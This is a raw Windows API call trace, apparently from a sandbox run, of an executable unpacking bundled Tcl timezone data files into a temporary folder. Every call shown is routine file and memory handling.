[0043.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.155] CloseHandle (hObject=0x10c) returned 1 [0043.156] GetLastError () returned 0x0 [0043.156] SetLastError (dwErrCode=0x0) [0043.156] GetLastError () returned 0x0 [0043.156] SetLastError (dwErrCode=0x0) [0043.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.156] GetFileType (hFile=0x10c) returned 0x1 [0043.156] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.156] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.156] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.156] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.156] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.156] CloseHandle (hObject=0x10c) returned 1 [0043.156] GetLastError () returned 0x0 [0043.156] SetLastError (dwErrCode=0x0) [0043.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.156] GetFileType (hFile=0x10c) returned 0x1 [0043.156] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.156] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.157] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.157] CloseHandle (hObject=0x10c) returned 1 [0043.157] GetLastError () returned 0x0 [0043.157] SetLastError (dwErrCode=0x0) [0043.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.157] GetFileType (hFile=0x10c) returned 0x1 [0043.157] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.157] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.157] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.157] CloseHandle (hObject=0x10c) returned 1 [0043.157] GetLastError () returned 0x0 [0043.157] SetLastError (dwErrCode=0x0) [0043.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Johnston") returned 73 [0043.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Johnston" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\johnston"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.158] GetLastError () returned 0x2 [0043.158] SetLastError (dwErrCode=0x2) [0043.158] GetLastError () returned 0x2 [0043.158] SetLastError (dwErrCode=0x2) [0043.158] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Johnston", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Johnston", lpFilePart=0x0) returned 0x48 [0043.158] GetLastError () returned 0x2 [0043.158] SetLastError (dwErrCode=0x2) [0043.158] GetLastError () returned 0x2 [0043.158] SetLastError (dwErrCode=0x2) [0043.158] GetLastError () returned 0x2 [0043.158] SetLastError (dwErrCode=0x2) [0043.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Johnston") returned 73 [0043.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Johnston" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\johnston"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.158] GetFileType (hFile=0x10c) returned 0x1 [0043.158] htonl (hostlong=0x77000000) returned 0x77 [0043.158] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.158] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x77, lpOverlapped=0x0) returned 1 [0043.159] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.159] CloseHandle (hObject=0x10c) returned 1 [0043.159] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.159] htonl (hostlong=0x30000000) returned 0x30 [0043.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.159] GetFileType (hFile=0x10c) returned 0x1 [0043.160] htonl (hostlong=0xce175d00) returned 0x5d17ce [0043.160] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c7ce, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.160] htonl (hostlong=0xa3000000) returned 0xa3 [0043.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa3) returned 0x5448e0 [0043.160] htonl (hostlong=0xa3000000) returned 0xa3 [0043.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.160] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.160] htonl (hostlong=0xd4000000) returned 0xd4 [0043.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd4) returned 0x550600 [0043.160] htonl (hostlong=0xa3000000) returned 0xa3 [0043.160] htonl (hostlong=0xd4000000) returned 0xd4 [0043.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.160] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.160] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5448e0 | out: hHeap=0x530000) returned 1 [0043.160] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.160] CloseHandle (hObject=0x10c) returned 1 [0043.160] GetLastError () returned 0x0 [0043.160] SetLastError (dwErrCode=0x0) [0043.160] GetLastError () returned 0x0 [0043.160] SetLastError (dwErrCode=0x0) [0043.160] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.160] GetFileType (hFile=0x10c) returned 0x1 [0043.160] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.160] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.160] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.160] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.161] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.161] CloseHandle (hObject=0x10c) returned 1 [0043.161] GetLastError () returned 0x0 [0043.161] SetLastError (dwErrCode=0x0) [0043.161] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.161] GetFileType (hFile=0x10c) returned 0x1 [0043.161] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.161] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.161] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.161] CloseHandle (hObject=0x10c) returned 1 [0043.161] GetLastError () returned 0x0 [0043.161] SetLastError (dwErrCode=0x0) [0043.161] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.162] GetFileType (hFile=0x10c) returned 0x1 [0043.162] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.162] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.162] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.162] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.162] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.162] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.162] CloseHandle (hObject=0x10c) returned 1 [0043.162] GetLastError () returned 0x0 [0043.162] SetLastError (dwErrCode=0x0) [0043.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kiritimati") returned 75 [0043.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kiritimati" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\kiritimati"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.162] GetLastError () returned 0x2 [0043.162] SetLastError (dwErrCode=0x2) [0043.162] GetLastError () returned 0x2 [0043.162] SetLastError (dwErrCode=0x2) [0043.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kiritimati", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kiritimati", lpFilePart=0x0) returned 0x4a [0043.162] GetLastError () returned 0x2 [0043.162] SetLastError (dwErrCode=0x2) [0043.162] GetLastError () returned 0x2 [0043.162] SetLastError (dwErrCode=0x2) [0043.162] GetLastError () returned 0x2 [0043.162] SetLastError (dwErrCode=0x2) [0043.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kiritimati") returned 75 [0043.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kiritimati" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\kiritimati"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.165] GetFileType (hFile=0x10c) returned 0x1 [0043.165] htonl (hostlong=0xd4000000) returned 0xd4 [0043.165] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.165] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd4, lpOverlapped=0x0) returned 1 [0043.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.167] CloseHandle (hObject=0x10c) returned 1 [0043.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.167] htonl (hostlong=0x30000000) returned 0x30 [0043.167] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.167] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.167] GetFileType (hFile=0x10c) returned 0x1 [0043.167] htonl (hostlong=0x71185d00) returned 0x5d1871 [0043.167] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c871, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.167] htonl (hostlong=0x9e000000) returned 0x9e [0043.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0043.167] htonl (hostlong=0x9e000000) returned 0x9e [0043.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.167] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.167] htonl (hostlong=0xcc000000) returned 0xcc [0043.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcc) returned 0x546790 [0043.167] htonl (hostlong=0x9e000000) returned 0x9e [0043.167] htonl (hostlong=0xcc000000) returned 0xcc [0043.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.167] CloseHandle (hObject=0x10c) returned 1 [0043.167] GetLastError () returned 0x0 [0043.168] SetLastError (dwErrCode=0x0) [0043.168] GetLastError () returned 0x0 [0043.168] SetLastError (dwErrCode=0x0) [0043.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.168] GetFileType (hFile=0x10c) returned 0x1 [0043.168] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.168] 